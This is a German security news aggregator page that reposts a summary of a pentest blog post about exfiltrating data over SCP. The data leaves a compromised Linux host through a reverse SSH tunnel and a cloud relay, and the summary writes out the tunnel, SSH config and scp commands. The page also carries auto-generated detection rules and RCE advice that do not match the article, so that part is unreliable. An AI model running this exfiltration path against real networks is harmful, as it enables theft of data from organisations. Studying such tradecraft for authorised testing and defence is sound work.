Zum Hauptinhalt springen
tsecurity.de LIVE
Echtzeit-Radar & Feeds
Alle RSS Feeds
👥 Community & Social
AI & KI NachrichtenKI-Firmenchefs warnen bei UN-Sicherheitsrat vor Risiken - ZDFheute(24.09.2026 um 09:59 Uhr)
Hacking & PentestingVibe Hacking: Hacker erpresst Unternehmen mit Claude Code(24.09.2026 um 10:01 Uhr)
Apple iOS & macOSApple plant offenbar größere Home-Offensive für Oktober(24.09.2026 um 09:33 Uhr)
Android Tipps & SecurityGoogle veröffentlicht Update, von dem alle Pixel-Handys profitieren(24.09.2026 um 09:08 Uhr)
Android Tipps & SecurityHuawei hat geschafft, womit niemand so schnell gerechnet hat(24.09.2026 um 09:40 Uhr)
AI & KI NachrichtenThe Wild West of A.I. Needs to End. Here’s How.(24.09.2026 um 08:55 Uhr)
YouTube Security VideosGolemDE: Leben als IT-Freiberufler – zwei Perspektiven(24.09.2026 um 07:03 Uhr)
AI & KI NachrichtenKI-Firmenchefs warnen bei UN-Sicherheitsrat vor Risiken - ZDFheute(24.09.2026 um 09:59 Uhr)
Hacking & PentestingVibe Hacking: Hacker erpresst Unternehmen mit Claude Code(24.09.2026 um 10:01 Uhr)
Apple iOS & macOSApple plant offenbar größere Home-Offensive für Oktober(24.09.2026 um 09:33 Uhr)
Android Tipps & SecurityGoogle veröffentlicht Update, von dem alle Pixel-Handys profitieren(24.09.2026 um 09:08 Uhr)
Android Tipps & SecurityHuawei hat geschafft, womit niemand so schnell gerechnet hat(24.09.2026 um 09:40 Uhr)
AI & KI NachrichtenThe Wild West of A.I. Needs to End. Here’s How.(24.09.2026 um 08:55 Uhr)
YouTube Security VideosGolemDE: Leben als IT-Freiberufler – zwei Perspektiven(24.09.2026 um 07:03 Uhr)
Intelligence View
⚡ tsecurity.de Intelligence

SCP for Data Exfiltration on Pentests

When you are on an internal and you’ve got a great foothold the last place you want drama is at the very end: getting the data out. That is exactly where Nathan Anderson’s latest post on the Raxis blog leans in, using SCP as a quiet, dep…

0
↗ Quelle (infosecwriteups.com)
Reagiere als Erste:r — dein Feedback zählt!

When you are on an internal and you’ve got a great foothold the last place you want drama is at the very end: getting the data out. That is exactly where Nathan Anderson’s latest post on the Raxis blog leans in, using SCP as a quiet, dependable workhorse for data exfiltration during internal and red team engagements.

Why SCP Deserves a Spot in Your Toolkit

Nathan’s post is part of Raxis’ Cool Tools series and focuses on using SCP as an exfil path that blends into common administrative traffic on Linux-heavy environments. SCP gives you encrypted file transfer, piggybacking on SSH, which is already one of the few ports that reliably egresses from corporate networks.

He frames the walkthrough around a realistic scenario:

Admin-System: A Linux host you have compromised.

• A cloud Linux box acting as the public endpoint.

Omni: A Linux box you are receiving data on.

It is a simple model, but it mirrors what we often do on tests: one internal foothold, one internet-facing VPS, and one trusted receiving host under our control.

Building the Path: Keys and Tunnels

The first half of the Raxis post is all about laying the plumbing before you push a single file. Nathan starts with SSH key pairs, generated on both the hacked box and the receiving host. Nothing fancy:

ssh-keygen

Follow the prompts, accept the defaults, and you now have an id_ed25519.pub that you can append into the cloud server’s ~/.ssh/authorized_keys file.

Next, he dials in the SSH tunnel from the receiving host back through the cloud server:

ssh -N -R 56600:127.0.0.1:22 user@cloud-server -i /path/to/private_key

Breaking that down:

-N: no shell, just a tunnel.

-R 56600:127.0.0.1:22: remote port forward from the cloud server’s port 56600 back to Omni ’s SSH on port 22.

-i: points to the private key you generated earlier.

The important behavioral note: this tunnel has to stay alive for everything else to work, whether you run it in a tmux session, as a systemd service, or with autossh.

Making SSH Human-Friendly with Config

Rather than continuing to type out long SSH and SCP commands repeatedly, Nathan uses the SSH config file on the compromised host to define named functions for the cloud server and the receiving host. That is where this approach really becomes usable mid-engagement.

The structure looks like this at ~/.ssh/config on admin-system:

Host Tunnel: a named profile for the cloud server.

Hostname: FQDN or IP of the cloud server.

User: SSH username on the cloud box.

IdentityFile: the key you generated on the hacked host.

Then he defines Host Transfer:

ProxyJump Tunnel: the key line that tells SSH, “go through Tunnel first and treat it as a proxy.”

Hostname 127.0.0.1: from the cloud host’s perspective, Omni is reached via loopback because of the tunnel.

User: username on Omni .

Port 56600: the port you mapped in the remote tunnel earlier.

Doing the Fun Part: Exfil with SCP

With the keys in place and the tunnel plus config wired up, Nathan walks through single-file and directory transfers using the named host from the SSH config.

For a single file:

scp Raxis-Secret-Codes.txt Transfer:POC/

For A directory:

scp -r POC/ Transfer:POC/

Here, -r enables recursive copy so you grab the entire directory, contents, and structure in one shot. In Nathan’s example, 50 files move cleanly and quickly, which is exactly the kind of behavior you want when you are racing the clock at the end of an engagement.

Why This Matters for Pentesters

If you are a pentester looking to tighten up your tradecraft around data movement, Nathan’s write-up on the Raxis blog is worth a read. It walks step-by-step through the exact commands, screenshots, and explanations behind this workflow, and is part of a broader Cool Tools series that covers other exfil options like Croc as well.


SCP for Data Exfiltration on Pentests was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

CTI Threat Relationship Graph3 Knoten / 2 Relationen
CVE / Incident Software MITRE ATT&CK CWE Weakness IoC
SOC Incident Playbook: Remote Code Execution (RCE) Defense
title: Detect Exploitation - SCP for Data Exfiltration on Pentests
id: f1a8dba6-3577-4db9-a01f-22c5b336a63a
status: experimental
description: Automatisch generierte SIEM-Erkennungsregel basierend auf CTI Intelligence
references:
  - https://tsecurity.de/
author: iShareStuff CTI Automated Detection Engine
date: 2026-09-24
logsource:
  category: network_connection
  product: any
detection:
  selection:
      CommandLine|contains:
        - 'exploit'
  condition: selection
falsepositives:
  - Legitime administrative Zugriffe oder Penetrationstests
level: high
tags:
  - attack.initial_access
rule CTI_Threat_Indicator {
    meta:
        author = "iShareStuff CTI Automated Detection Engine"
        date = "2026-09-24"
        description = "YARA Signature for "
    strings:
        $str = "SCP for Data Exfiltration on P" ascii wide
    condition:
        any of them
}
tsecurity.de Cognitive Threat RAG
Fokus-Vektor:

Kognitive Analyse für identifizierte Bedrohung: Erhöhte Bedrohungslage im Bereich SCP for Data Exfiltration on Pentests.... Basierend auf 368k Vektor-Korrelationen werden sofortige Isolationsmaßnahmen für betroffene Endpunkte empfohlen.

🛡️ Angriffsfläche & Exposure

Netzwerk/Remote-Zugriff ohne Vorauthentifizierung möglich.

Empfohlene Sofortmaßnahmen
  • 1. Perimeter-Inspektion: Relevante Portfreigaben und exponierte Endpunkte unverzüglich scannen.
  • 2. Patch-Applikation: Hersteller-Hotfix einspielen oder betroffene Daemons in isolierte DMZ-Segmente überführen.
  • 3. Telemetrie & EDR-Alerts: Prozessaufrufe und Child-Processes auf anomale Shell-Spawns überwachen.
🔗 Semantisch verwandte Zero-Days MariaDB 11.7 VEC
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten SCP for Data Exfiltration on Pentests

Thematisch verwandte Begriffe: Data, Exfiltration, Pentests · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-97056 | SigNoz versions from v0.98.0 up to (but not including) v0.143.0, when co…
Advisory →
TTS Reader • tsecurity.de Voice
tsecurity.de Icon
tsecurity.de App
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag
Themen-Radar & Intelligence Matrix
Echtzeit-Taxonomie nach Angriffsvektoren & Plattformen

tsecurity.de Live Threat Radar

🔴 LIVE RADAR
MONITORING
AKTIV
CVE-DATENBANK
LIVE
🔍
Community Radar & Live Chat
Sentinel Bot online • Live-Stream
Dein Cluster: Security Explorer
Match:
lädt…
Verbindung zum Community-Stream wird aufgebaut...
Bearbeitungsmodus — Senden überschreibt deine Nachricht
Community-Puls — was gerade passiert
lädt…
Aktivitäten deiner Analysten
lädt…
Neues Thema oder Eilmeldung einreichen

Reiche interessante Links, Zero-Days oder Debatten ein. Die Community entscheidet per Upvote über die Veröffentlichung.

Heiß diskutierte Einreichungen
🔖 Gespeicherte Artikel
📂 Keine gespeicherten Artikel vorhanden.
Zurück Ziehen Vor
Links: vorheriger Artikel Rechts: nächster Artikel unten: schließen
News NIS-2 Frühwarnung Tier-1 Intel TTP ⏱️ 3 Min vor 10 Min
Artikeldaten werden geladen...

Zurück: vorheriger Vor: nächster
↗ Original-Quelle
Social Reaktionen Deine Reaktion zählt
Einstufung & Relevanz-Poll 0 Stimmen
In sozialen Netzwerken teilen 1-Klick